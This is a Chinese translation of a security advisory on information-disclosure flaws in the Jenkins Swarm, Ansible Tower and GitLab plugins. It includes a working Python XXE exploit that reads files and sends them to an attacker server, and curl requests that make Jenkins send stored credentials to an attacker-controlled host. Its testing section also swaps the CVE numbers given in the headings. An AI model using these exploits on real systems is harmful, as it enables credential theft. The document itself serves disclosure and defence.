导致数据库凭据泄露:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄露漏洞(CVE-2019-10309/10...

栏目: 服务器 · 发布时间: 6年前

内容简介:一、概述Jenkins是一个用Java编写的开源自动化服务器。借助一些插件,可以将Jenkins与其他软件集成,例如GitLab。5月7日,Cisco Talos团队公开了其中三个插件的漏洞,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的漏洞均属于信息泄露类型,攻击者借助这些漏洞,可能欺骗上述插件,将Jenkins数据库中的凭据泄露至攻击者控制的服务器。根据我们的协调漏洞披露政策,Cisco Talos与Jenkins及相关公司进行了合作,以确保这些问题得以彻底解决,并为受影响的客户

一、概述

Jenkins是一个用 Java 编写的开源自动化服务器。借助一些插件,可以将Jenkins与其他软件集成,例如GitLab。5月7日,Cisco Talos团队公开了其中三个插件的漏洞,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的漏洞均属于信息泄露类型,攻击者借助这些漏洞,可能欺骗上述插件,将Jenkins数据库中的凭据泄露至攻击者控制的服务器。

根据我们的协调漏洞披露政策,Cisco Talos与Jenkins及相关公司进行了合作,以确保这些问题得以彻底解决,并为受影响的客户提供 更新

二、Jenkins Swarm插件XXE信息泄露漏洞(CVE-2019-10309)

在Jenkins自组织的Swarm模块插件3.14版本中,getCandidateFromDatagramResponses()方法存在一个简单的XXE(XML外部实体)漏洞。由于这一漏洞的存在,与Swarm客户端在同一网络上的攻击者可以借助精心构造的响应信息来响应UDP发现请求,从而实现在系统上读取任意文件。

2.1 产品URL

https://github.com/jenkinsci/swarm-plugin

2.2 CVSS v3评分

6.1 – CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

2.3 CWE

CWE-611  XML外部实体(XXE)引用未进行正确限制

2.4 漏洞详细分析

该漏洞可能允许连接到部署Swarm代理网络中的非特权用户访问代理实例上的数据,而无需进行额外的身份验证。由于UDP广播发现工作机制中存在缺陷,将导致使用此机制寻找Jenkins Master的过程中,会对代理找到的所有Master发生未经身份验证的本地文件读取。我们在基于 Docker 的环境中进行了测试,其中运行Swarm代理的所有代理都可以成功实现该漏洞的利用。

针对这一漏洞,我们计算出CVSS v3评分为6.1。但是,该漏洞实际的威胁程度很大程度上取决于部署方式,并且根据实际部署方式的不同,这一评分有可能会显著降低。此外,由于Java XML解析器的性质,包含某些字符的文件无法成功反射到FTP或HTTP URI中,因此也就无法成功实现信息泄露。

2.5 漏洞利用概念证明

Dockerfile

FROM ubuntu:latest
 
# Update repository metadata and install a JVM.
RUN apt update && \
    apt install -y openjdk-8-jre-headless tcpdump curl && \
    apt install -y python3  python 3-pip tmux && \
    pip3 install pyftpdlib
 
# Grab the latest Swarm Client.
RUN curl -D - -o /var/tmp/swarm-client.jar \
    https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar
 
# Copy our exploit code to the container.
COPY exploit.py /root/exploit.py
 
# Give 'er.
ENTRYPOINT java -jar /var/tmp/swarm-client.jar

exploit.py

''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). '''
 
import os
import sys
import socket
import uuid
import logging
import http.server
import socketserver
import multiprocessing
 
 
def find_ip():
    ''' Find the IP of the 'primary' network interface. '''
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect(('8.8.8.8', 80))
    addr = sock.getsockname()[0]
    sock.close()
    return addr
 
 
class RequestHandler(http.server.BaseHTTPRequestHandler):
    ''' Provides a set of request handlers for our Fake jenkins server. '''
 
    def __init__(self, request, client_address, server):
        ''' Bot on a logger. '''
        self.logger = logging.getLogger(__name__)
        super().__init__(request, client_address, server)
 
    def version_string(self):
        ''' Override version string / Server header. '''
        return 'TotallyJenkins'
 
    def log_message(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
 
    def log_error(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
 
    def log_request(self, code='-', size='-'):
        ''' Where we're going, we don't need logs. '''
        self.logger.debug(
            'Received %s request for %s from %s',
            self.command,
            self.path,
            self.client_address
        )
 
    def build_stage_two(self):
        ''' Builds a second stage XXE payload - for exfil. '''
        payload = '''
            <!ENTITY % local1 SYSTEM "file:///etc/debian_version">
            <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
            <!ENTITY % local2 SYSTEM "file:///etc/hostname">
            <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
        '''.format(find_ip(), '8080')
        return payload.encode()
 
    def do_GET(self):
        ''' Implements routing for HTTP GET requests. '''
        self.logger.debug('Processing GET on route "%s"', self.path)
 
        # Provide an exfiltration endpoint.
        if '/exfil' in self.path:
            self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('='))
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
 
        # Serve the payload DTD.
        if self.path.endswith('.dtd'):
            stage_two = self.build_stage_two()
            self.send_response(200, 'OK')
            self.send_header('Content-Type', 'application/x-java-jnlp-file')
            self.send_header('Content-Length', len(stage_two))
            self.end_headers()
            self.wfile.write(stage_two)
 
        # Ensure the X-Hudson check in Swarm plugin passes.
        if self.path == '/':
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
 
    def do_PUT(self):
        ''' Mock HTTP PUT requests. '''
        self.send_response(500)
 
    def do_POST(self):
        ''' Mock HTTP POST requests. '''
        self.logger.debug('Processing POST on route "%s"', self.path)
 
        # Respond with an OK to keep the exchange going.
        if self.path.startswith('/plugin/swarm/createSlave'):
            self.send_response(200, 'OK')
            self.send_header('Content-Length', '0')
            self.end_headers()
 
    def do_HEAD(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
 
    def do_PATCH(self):
        ''' Mock HTTP PATCH requests. '''
        self.send_response(500)
 
    def do_OPTIONS(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
 
class HTTPServer(multiprocessing.Process):
    ''' Provides a Fake Jenkins server to signal the Swarm. '''
 
    def __init__(self, port=8080):
        ''' Bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
 
    def run(self):
        ''' Do the thing. '''
        self.logger.info('Starting HTTP listener on TCP %s', self.port)
 
        # Kick off the server.
        instance = http.server.HTTPServer(
            ('0.0.0.0', self.port),
            RequestHandler
        )
        instance.serve_forever()
 
 
class Spwner(multiprocessing.Process):
    ''' Provides a Spawn broadcast listener and responder. '''
 
    def __init__(self, port=33848):
        ''' Setup a socket and bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
        self.logger.info('Binding broadcast listener to UDP %s', port)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind(('255.255.255.255', self.port))
        self.swarm = str(uuid.uuid4())
 
    def build_swarm_xml(self):
        ''' Builds a baked Swarm payload. '''
        # This is dirty.
        payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
            <!DOCTYPE swarm [
                <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd">
                %stageTwo;
                %remote1;
                %remote2;
            ]>
            <root>
                <swarm>&exfil1;</swarm>
                <version>&exfil2;</version>
                <url>http://{0}:{1}/</url>
            </root>
        '''.format(find_ip(), '8080')
        return payload.encode()
 
    def respond(self, client):
        ''' Send a payload to the given client. '''
        addr, port = client
        self.logger.info('Sending payload to %s:%s', addr, port)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(self.build_swarm_xml(), (addr, port))
        self.logger.info('Payload sent!')
 
    def listen(self):
        ''' Listen for clients. '''
        while True:
            _, client = self.sock.recvfrom(1024)
            self.logger.info('Received a Swarm broadcast from %s', client)
            self.respond(client)
 
    def run(self):
        ''' Do the thing. '''
        self.listen()
 
 
def main():
    ''' Jenkins Swarm-Plugin RCE PoC. '''
    # Configure the logger.
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s',
    )
    log = logging.getLogger(__name__)
    # log.setLevel(logging.DEBUG)
 
    # Spawn a fake Jenkins HTTP server.
    log.info('Spawning fake Jenkins HTTP Server')
    httpd = HTTPServer()
    httpd.start()
 
    # Spawn a broadcast listener.
    log.info('Spawning a Swarm broadcast listener')
    listener = Spwner()
    listener.start()
 
 
if __name__ == '__main__':
    main()

2.6 缓解方案

在厂商发布修复后版本之前,建议用户禁用UDP广播功能。要禁用这一功能,可以通过在命令行参数中,指定要连接的Jenkins主服务器来实现。

2.7 时间节点

·2018年12月5日 向厂商报告该漏洞

· 2019年4月30日  厂商发布补丁

· 2019年5月6日  公开披露漏洞信息

2.8 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

三、Jenkins Ansible Tower插件信息泄露漏洞(CVE-2019-10300)

在Jenkins Ansible Tower插件0.9.1版本中,testTowerConnection函数存在一个可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求来利用,因此也可以通过跨站请求伪造(CSRF)来利用此漏洞。除上述内容外,如果响应服务器未返回格式正确的JSON文档,则该响应将作为报告错误的一部分反馈给用户,从而导致仅能通过HTTP GET方式实现服务器端请求伪造(SSRF)漏洞利用。

该漏洞也存在于该插件的fillTowerCredentialsIdItems函数中,该函数允许遍历该攻击所需的凭据标识符。

3.1 产品URL

https://github.com/jenkinsci/ansible-tower-plugin

https://plugins.jenkins.io/ansible-tower

3.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

3.3 CWE

CWE-285  不适当的授权

3.4 漏洞详细分析

Ansible是一个开源软件,允许用户配置和部署各种应用程序。Ansible Tower插件旨在优化Ansible的使用,使该软件更适用于各类IT团队。由于缺少对Jenkins的权限检查,由org.jenkinsci.plugins.ansible_tower.util.TowerInstallation的doTestTowerConnection方法暴露的testTowerConnection存在该漏洞。在doFillTowerCredentialsIdItems方法中也忽略了权限检查,从而导致攻击者可以通过该方法枚举凭据,产生相同的信息泄露风险。

由于此插件对远程Ansible Tower实例进行身份验证的方式存在问题,将导致与towerCredentialsId相关联的凭据,在经过Base64编码后,作为HTTP Authorization标头的一部分发送到攻击者控制的服务器,同时还会发送攻击者指定位置的JSON文档明文。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。

# List credentials on target Jenkins instance.
$ curl -s -X GET -G \
    -d 'pretty=true' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems'
{
"_class" : "com.cloudbees.plugins.credentials.common.StandardListBoxModel",
"values" : [
    {
    "name" : "- none -",
    "selected" : false,
    "value" : ""
    },
    {
    "name" : "BBBBBB/****** (ExampleOnly)",
    "selected" : false,
    "value" : "01e367ef-54fb-4da0-8044-5112935037bb"
    },
    {
    "name" : "SecureUsername/****** (Credentials for X)",
    "selected" : false,
    "value" : "287fcbe2-177e-4108-ac58-efdc0a507376"
    },
    {
    "name" : "A Secret Text Entry",
    "selected" : false,
    "value" : "532ba431-e25d-4aad-bc74-fb5b2cc03bd7"
    }
]
}
 
# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
#
# Two requests are performed by Jenkins here. The first is a 'ping', which
# requires that the target respond with a well formed JSON response -
# though any JSON response will do. If this first request fails, the reply
# will be reflected to the client (SSRF). If it succeeds, a subsequent
# POST will be performed which contains the credentials.
#
$ curl -s -X GET -G \
    -d 'towerURL=http://127.0.0.1:7000/report.json?' \
    -d 'towerTrustCert=false' \
    -d 'enableDebugging=true' \
    -d 'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection'

存在漏洞的插件以HTTP GET形式提交给远程服务器的请求,类似于如下内容:

# First request from Jenkins (GET)
/report.json?/api/v2/ping/
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)
 
# Second request from Jenkins (POST)
/report.json?/api/v2/authtoken/
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
Content-Type: application/json
Content-Length: 61
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)
 
{"username":"SecureUsername","password":"SecurePasswordOhNo"}

3.5 缓解方案

在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。

3.6 时间节点

2019年3月12日 向厂商报告该漏洞

2019年4月30日  厂商发布补丁

2019年5月6日  公开披露漏洞信息

3.7 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

四、Jenkins GitLab插件信息泄露漏洞(CVE-2019-10310)

Jenkins GitLab插件1.5.11版本的testConnection函数中,存在可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求利用,因此也可以通过跨站请求伪造(CSRF)来实现此漏洞的利用。

为了使这一攻击成功进行,攻击者需要知道要获取的凭据的凭据ID。该凭据ID可以通过多种方式查找,例如公开的编译日志(读取)、访问Jenkins UI中的凭证管理器(读取),或者通过fileCredentialsIdItems样式中另外一个易受攻击的插件来实现。

4.1 产品URL

https://plugins.jenkins.io/gitlab-plugin

https://github.com/jenkinsci/gitlab-plugin

4.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

4.3 CWE

CWE-285  不适当的授权

4.4 漏洞详细分析

由于缺少对Jenkins的权限检查,com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig的doTestConnection方法暴露的testConnection中存在这一漏洞。

由于该插件针对远程GitLab实例进行身份验证的方式存在问题,与攻击者指定的credentialsId相关联的凭据将作为HTTP PRIVATE-TOKEN标头的一部分,发送至攻击者控制的服务器。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。

# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
$ curl -s -X GET -G \
    -d 'url=http://127.0.0.1:7000/?' \
    -d 'clientBuilderId=autodetect' \
    -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'

插件以HTTP GET方式发送至远程服务器的请求,类似于下面内容。当上述clientBuilderdId字段设置为autodetect(自动检测)时,会有多个请求被发送至攻击者指定的服务器。

# First request from Jenkins (GET).
/api/v4/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive
 
# Second request from Jenkins (GET)
/api/v3/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

值得注意的是,由于攻击者指定的服务器响应不符合预期的格式,因此插件将会产生错误,并且不呈现响应内容。

4.5 缓解方案

在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。

4.6 时间节点

· 2019年3月12日 向厂商报告该漏洞

· 2019年4月30日  厂商发布补丁

· 2019年5月6日  公开披露漏洞信息

4.7 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

五、测试环境

经过测试,我们确认Jenkins Ansible Tower插件的0.9.1版本受到CVE-2019-10310的影响,Jenkins Artifactory插件的3.2.1和3.2.0版本受到CVE-2019-5026的影响,Jenkins GitLab插件的1.5.11版本受到CVE-2019-10300的影响,Swarm-Client的3.14版本受到CVE-2019-10309的影响。

六、检测规则

以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。

Snort规则:49362、49363、49370、49373。

七、补充说明

在Cisco Talos网站的原文中,分别将这三个漏洞标注为CVE-2019-5022、CVE-2019-5025、CVE-2019-5027,而根据MITRE的官网,查询这三个漏洞的实际编号分别为CVE-2019-10309、CVE-2019-10300和CVE-2019-10310。目前暂不清楚是原文有误,还是重复分配了CVE编号。本文在翻译时,均以MITRE的官方CVE编号为准。


以上所述就是小编给大家介绍的《导致数据库凭据泄露:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄露漏洞(CVE-2019-10309/10...》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Agile Web Development with Rails 4

Agile Web Development with Rails 4

Sam Ruby、Dave Thomas、David Heinemeier Hansson / Pragmatic Bookshelf / 2013-10-11 / USD 43.95

Ruby on Rails helps you produce high-quality, beautiful-looking web applications quickly. You concentrate on creating the application, and Rails takes care of the details. Tens of thousands of deve......一起来看看 《Agile Web Development with Rails 4》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码